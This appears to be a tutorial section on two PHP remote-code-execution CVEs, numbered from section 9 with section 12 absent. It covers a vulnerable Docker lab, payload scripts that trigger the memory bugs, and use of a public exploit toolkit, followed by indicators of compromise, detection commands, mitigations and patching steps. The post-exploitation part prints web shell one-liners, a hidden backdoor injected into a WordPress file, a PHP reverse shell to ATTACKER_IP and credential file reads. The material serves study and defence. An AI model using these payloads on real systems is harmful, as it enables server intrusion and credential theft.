PHP2Shell: CVE-2026-109618 & CVE-2026-109619 | Critical PHP RCE

9. Lab Setup: Building a Vulnerable Environment

Docker Lab Setup

The fastest way to set up a vulnerable PHP environment. Create the following Dockerfile and docker-compose.yml:

Dockerfile

# Vulnerable PHP 8.4.26 with Apache mod_php
FROM php:8.4.26-apache

RUN echo "session.upload_progress.enabled = On" >> /usr/local/etc/php/conf.d/vuln.ini && \
    echo "session.upload_progress.cleanup = Off" >> /usr/local/etc/php/conf.d/vuln.ini && \
    echo "memory_limit = 128M" >> /usr/local/etc/php/conf.d/vuln.ini && \
    echo "post_max_size = 128M" >> /usr/local/etc/php/conf.d/vuln.ini && \
    echo "upload_max_filesize = 128M" >> /usr/local/etc/php/conf.d/vuln.ini && \
    echo "display_errors = On" >> /usr/local/etc/php/conf.d/vuln.ini && \
    echo "max_input_vars = 100000" >> /usr/local/etc/php/conf.d/vuln.ini && \
    echo "max_multipart_body_parts = -1" >> /usr/local/etc/php/conf.d/vuln.ini && \
    echo "error_reporting = E_ALL" >> /usr/local/etc/php/conf.d/vuln.ini && \
    echo "html_errors = Off" >> /usr/local/etc/php/conf.d/vuln.ini

RUN echo '<?php phpinfo(); ?>' > /var/www/html/info.php
RUN echo '<?php session_start(); echo "Hello from vulnerable PHP!"; ?>' > \
    /var/www/html/index.php

EXPOSE 80

docker-compose.yml

services:
  vulnerable-php:
    build: .
    ports:
      - "8080:80"
    # Isolate from host network
    networks:
      - lab-net
    # Resource limits to prevent accidental damage
    deploy:
      resources:
        limits:
          memory: 512M
          cpus: "1.0"

networks:
  lab-net:
    driver: bridge
    internal: false  # Set to true for full isolation

Build and Run

# Build the vulnerable image
docker compose build

# Start the container
docker compose up -d

# Verify it is running
curl http://localhost:8080/info.php | head -5

# Check the PHP version (should show 8.4.26, which is VULNERABLE)
curl -sI http://localhost:8080/ | grep "X-Powered-By"

10. Hands-On: Exploiting PHP2Shell

Exercise 1: Reconnaissance and Version Detection

Before exploiting, an attacker needs to confirm the target runs a vulnerable PHP version. Practice these enumeration techniques against your lab:

# Method 1: Check X-Powered-By header
curl -sI http://localhost:8080/ | grep -i "x-powered-by"
# Output: X-Powered-By: PHP/8.4.26

# Method 2: Check phpinfo() if exposed (common misconfiguration)
curl -s http://localhost:8080/info.php | grep "PHP Version"

# Method 3: Trigger a PHP error to leak version
curl -s "http://localhost:8080/nonexistent.php" | head -20

# Method 4: Nmap service detection
nmap -sV -p 8080 localhost

# Method 5: Check session.upload_progress setting via phpinfo
curl -s http://localhost:8080/info.php | \
  grep "session.upload_progress.enabled"
# If "On" => CVE-2026-109619 path is available

Exercise 2: Testing the OOM Path (CVE-2026-109618)

This exercise demonstrates how to trigger the OOM condition. In a real exploit, the attacker would use this to corrupt memory. Here we just confirm the vulnerable code path is reachable.

# Generate a large multipart payload that approaches memory_limit
# The goal is to make PHP hit OOM during request initialization
# Default memory_limit is 128M

# Step 1: Create a test payload file
python3 -c "
import sys
# Create a multipart body with many small parts
# Each part adds overhead in PHP's internal tracking
boundary = 'LABTEST'
parts = []
for i in range(50000):
    parts.append(f'--{boundary}\r\n')
    parts.append(f'Content-Disposition: form-data; name="f{i}"\r\n\r\n')
    parts.append('A' * 2000 + '\r\n')
parts.append(f'--{boundary}--\r\n')
payload = ''.join(parts)
sys.stdout.buffer.write(payload.encode())
" > /tmp/oom_payload.bin

# Step 2: Send the payload
curl -v -X POST http://localhost:8080/index.php \
  -H "Content-Type: multipart/form-data; boundary=LABTEST" \
  --data-binary @/tmp/oom_payload.bin

# Step 3: Check the container logs for OOM errors
docker compose logs vulnerable-php 2>&1 | tail -20
# Look for: "Allowed memory size of ... bytes exhausted"

# Step 4: If you see the OOM error, the vulnerable path was reached
# In a real exploit, the payload would be crafted to corrupt
# specific internal structs during the OOM cleanup phase

Exercise 3: Testing the UAF Path (CVE-2026-109619)

This exercise demonstrates the two-request attack pattern for the use-after-free. The first request sets up the poisoned global state, and the second request triggers the dereference.

# Both requests MUST hit the same Apache worker process.
# We use a single TCP connection via curl --next to guarantee this.

# Combined: Request 1 (Poison) + Request 2 (Trigger) over one connection
curl -v --http1.1 \
  -X POST http://localhost:8080/index.php \
  -H "Cookie: PHPSESSID=labtest123" \
  -F "PHP_SESSION_UPLOAD_PROGRESS=POISON" \
  -F "file=@/tmp/oom_payload.bin;filename=test.txt" \
  --next \
  -X POST http://localhost:8080/index.php \
  -H "Cookie: PHPSESSID=labtest123" \
  -d "trigger=1"

# --next reuses the same TCP connection (HTTP keep-alive),
# so both requests are handled by the same Apache worker.
# Request 1 poisons global state, Request 2 hits the dangling pointer.

# Alternative: use a Python script for precise control
python3 -c "
import socket
host, port = 'localhost', 8080
s = socket.create_connection((host, port))

# Request 1: Poison
body1 = (
    '--BOUND\r\n'
    'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
    'POISON\r\n'
    '--BOUND--\r\n'
)
req1 = (
    f'POST /index.php HTTP/1.1\r\n'
    f'Host: {host}:{port}\r\n'
    f'Cookie: PHPSESSID=labtest123\r\n'
    f'Content-Type: multipart/form-data; boundary=BOUND\r\n'
    f'Content-Length: {len(body1)}\r\n'
    f'Connection: keep-alive\r\n\r\n' + body1
)
s.sendall(req1.encode())
resp1 = s.recv(4096)
print('[*] Request 1 sent (poison)')

# Request 2: Trigger UAF
body2 = 'trigger=1'
req2 = (
    f'POST /index.php HTTP/1.1\r\n'
    f'Host: {host}:{port}\r\n'
    f'Cookie: PHPSESSID=labtest123\r\n'
    f'Content-Type: application/x-www-form-urlencoded\r\n'
    f'Content-Length: {len(body2)}\r\n'
    f'Connection: close\r\n\r\n' + body2
)
s.sendall(req2.encode())
resp2 = s.recv(4096)
print('[*] Request 2 sent (trigger)')
s.close()
"

# Monitor for crashes
docker compose logs vulnerable-php 2>&1 | grep -i "segfault\|signal\|core"

# NOTE: A segfault in the PHP worker indicates the UAF was triggered.
# In a weaponized exploit, the attacker replaces the crash with
# controlled code execution by heap-spraying the freed memory region.

Exercise 4: Using the PHP2Shell Toolkit

The php2shell toolkit (v1.5.1) is a public PoC that chains CVE-2026-109619 (UAF). It uses curl_cffi for JA3 fingerprint impersonation and supports multiple exploit profiles per target OS.

# Clone the toolkit
git clone https://github.com/aarsaputra/php2shell.git
cd php2shell

# Set up a Python virtual environment
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt

# Step 1: Scan - verify the target is vulnerable
python3 php2shell.py exploit \
    -u http://localhost:8080/index.php \
    --force --yes \
    --exploit-profile bookworm \
    -c 'id' -v

# Expected scan output:
#   URL      : http://localhost:8080/index.php
#   verdict  : vulnerable - PHP 8.4.26 < fix-floor 8.4.27
#   skor     : 75/90  (READY)
#
# The tool fingerprints the PHP version from X-Powered-By,
# checks it against the fix-floor, and scores readiness.

# Step 2: Exploitation
# The tool then attempts the full CVE-2026-109619 chain:
#   stage 1: heap leak   - extracts heap base from error output
#   stage 2: UAF trigger - corrupts freed memory via upload progress
#   stage 3: RCE         - hijacks control flow to execute command
#
# Available exploit profiles:
#   --exploit-profile bookworm  (Debian Bookworm / php:8.4.26-apache)
#   --exploit-profile lab       (generic lab offsets)
#
# Useful flags for troubleshooting:
#   --huge-mb 128     force payload size to match memory_limit
#   --retries 10      increase heap leak attempts (default 3)
#   -v                verbose mode (shows every HTTP request)

# On success:
#   proof: uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Common failure: HEAP_LEAK_FAILED
# The heap leak is inherently probabilistic - it depends on ASLR,
# heap layout, and Apache worker alignment. In Docker containers,
# the heap layout may differ from bare-metal Debian, causing the
# leak to miss. The vulnerability is still confirmed by the scan.

Exercise 5: Testing the Mitigations

Now verify that the recommended mitigations actually prevent exploitation:

# Test 1: Disable session upload progress
docker compose exec vulnerable-php bash -c \
  "echo 'session.upload_progress.enabled = 0' >> \
   /usr/local/etc/php/conf.d/vuln.ini"
docker compose restart
# Re-run Exercise 3 - the UAF path should no longer be reachable

# Test 2: Disable memory limit
docker compose exec vulnerable-php bash -c \
  "echo 'memory_limit = -1' >> \
   /usr/local/etc/php/conf.d/vuln.ini"
docker compose restart
# Re-run Exercise 2 - the OOM should no longer trigger

# Test 3: Patch to a fixed version
# Modify Dockerfile: FROM php:8.4.27-apache
docker compose build && docker compose up -d
# Re-run all exercises - none should succeed

# Test 4: Verify the fix
curl -sI http://localhost:8080/ | grep "X-Powered-By"
# Should show PHP/8.4.27

11. Post-Exploitation and Indicators of Compromise

Understanding what happens after a successful exploit is critical for both defenders (to detect breaches) and students (to understand the real-world impact).

Common Post-Exploitation Actions

Once an attacker has code execution as www-data, the typical playbook is:

1. Deploy a web shell: A PHP file that gives persistent remote command execution through a web browser. The attacker can return anytime without re-exploiting.
2. Establish a reverse shell: A persistent connection back to the attacker's server, bypassing firewall rules that block inbound connections.
3. Escalate privileges: From www-data to root via kernel exploits, SUID binaries, sudo misconfigurations, or container escape.
4. Exfiltrate data: Database credentials (in wp-config.php, .env files), customer data, source code, API keys.
5. Lateral movement: Use stolen credentials or SSH keys to move to other servers on the network.
6. Persistence: Cron jobs, SSH authorized_keys, modified system binaries, or rootkits.

Example: Web Shell Deployment

# What an attacker might do after getting code execution:
# (This is what to LOOK FOR in your web roots during incident response)

# Simple PHP web shell (one-liner)
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/.cache.php

# More stealthy: hidden in an existing file
# Attacker prepends to an existing PHP file:
sed -i '1i\<?php if(isset($_GET["x"])){system(base64_decode($_GET["x"]));}?>' \
  /var/www/html/wp-includes/version.php

# Reverse shell (attacker runs "nc -lvnp 4444" on their server)
php -r '$s=fsockopen("ATTACKER_IP",4444);exec("/bin/bash <&3 >&3 2>&3");'

# Data exfiltration
cat /var/www/html/wp-config.php  # WordPress DB credentials
cat /var/www/html/.env           # Laravel env with DB/API keys
find / -name "*.sql" 2>/dev/null # Database dumps

Indicators of Compromise (IOCs)

If you suspect exploitation, look for these signs:

Network IOCs

• Unusual outbound connections from your PHP server (reverse shells, C2 beacons)
• Large multipart POST requests to random PHP endpoints in access logs
• Sequential requests with PHP_SESSION_UPLOAD_PROGRESS in the POST body
• HTTP requests with abnormally large Content-Length headers

Host IOCs

• PHP worker processes (httpd, php-fpm) spawning child shells (/bin/sh, /bin/bash)
• New or modified PHP files in web roots that you did not deploy
• Unexpected cron jobs running as www-data or apache
• Modified .htaccess files or PHP configuration files
• Segfaults in PHP error logs (sign of failed exploit attempts)

Detection Commands

# Check for suspicious PHP files modified recently
find /var/www -name "*.php" -mtime -7 -ls

# Look for common web shell signatures
grep -rl "system\|exec\|passthru\|shell_exec\|eval.*base64" \
  /var/www/html/ --include="*.php"

# Check for PHP workers spawning shells (requires auditd or sysdig)
ps auxf | grep -E "(apache|php-fpm|httpd).*(/bin/sh|/bin/bash)"

# Review Apache/Nginx access logs for exploit signatures
grep -i "PHP_SESSION_UPLOAD_PROGRESS" /var/log/apache2/access.log
grep -E "POST .+\.php .+ (413|500)" /var/log/apache2/access.log

# Check for outbound connections from web server processes
ss -tnp | grep -E "(apache|php-fpm|httpd)" | grep -v ":80\|:443"

# Review PHP error logs for OOM and segfault entries
grep -i "memory size.*exhausted\|segfault\|signal 11" \
  /var/log/php*.log /var/log/apache2/error.log

13. Detection and Mitigation

Immediate Detection

# Check PHP version (CLI and FPM may differ)
php -v
php-fpm -v

# Check the version serving web requests
curl -sI https://yoursite.com | grep -i "x-powered-by"

# For distro packages, check changelog for CVE IDs
dpkg -l php* | grep php           # Debian/Ubuntu
rpm -qa | grep php                 # RHEL/CentOS
apt changelog php8.3-fpm 2>/dev/null | head -20

Interim Mitigations (If You Cannot Patch Immediately)

PHP states: “These reduce exposure to specific attack paths but do not make an installation safe.”

For CVE-2026-109619 (UAF):

; php.ini - disable session upload progress
session.upload_progress.enabled = 0

; IMPORTANT: ini_set() and .user.ini apply too late
; Must be set in php.ini or the FPM pool config
; Restart workers after changing

For CVE-2026-109618 (OOM):

; php.ini - disable memory limit (use container/cgroup limits instead)
memory_limit = -1

; For PHP-FPM, use php_admin_value in pool config:
; php_admin_value[memory_limit] = -1

; Keep request sizes small
post_max_size = 8M
upload_max_filesize = 4M

Additional measures:

• On PHP 8.5: set fatal_error_backtraces=0
• Add matching size limits on the reverse proxy or load balancer
• Alert on PHP worker processes spawning shells, download tools, or making outbound connections
• Review logs back to October 17, 2026 (earliest known exploitation)
• Cloudflare's managed WAF rules provide an additional layer but are not a substitute for patching

14. Patching Guide

Step 1: Identify All PHP Installations

Check web servers, control panels (cPanel, Plesk), vendor appliances, Windows software bundling php.exe, container images, and CMS stacks. Do not assume a single PHP installation per server.

Step 2: Apply the Fix

# Debian / Ubuntu
sudo apt update && sudo apt upgrade php*
# Verify: apt changelog php8.3-fpm | head -20

# RHEL / CentOS / Rocky
sudo dnf update php*
# Verify: rpm -q --changelog php | head -20

# Remi repository (EL8+ / Fedora 43+)
sudo dnf update --enablerepo=remi-php84 php*

# cPanel (EasyApache 4)
# Update to release >= 25.91 via WHM

# Docker / containers
# Update base image and REBUILD
# Running processes keep old code in memory

Step 3: Restart All Workers

# Restart PHP-FPM
sudo systemctl restart php8.3-fpm

# Restart Apache (mod_php)
sudo systemctl restart apache2    # Debian/Ubuntu
sudo systemctl restart httpd      # RHEL/CentOS

# Restart LiteSpeed
sudo systemctl restart lsws

Step 4: Verify

# Confirm the running version matches the patched version
php -v
php-fpm -v
curl -sI https://yoursite.com | grep -i "x-powered-by"

# Confirm session upload progress is disabled (belt and braces)
php -i | grep session.upload_progress.enabled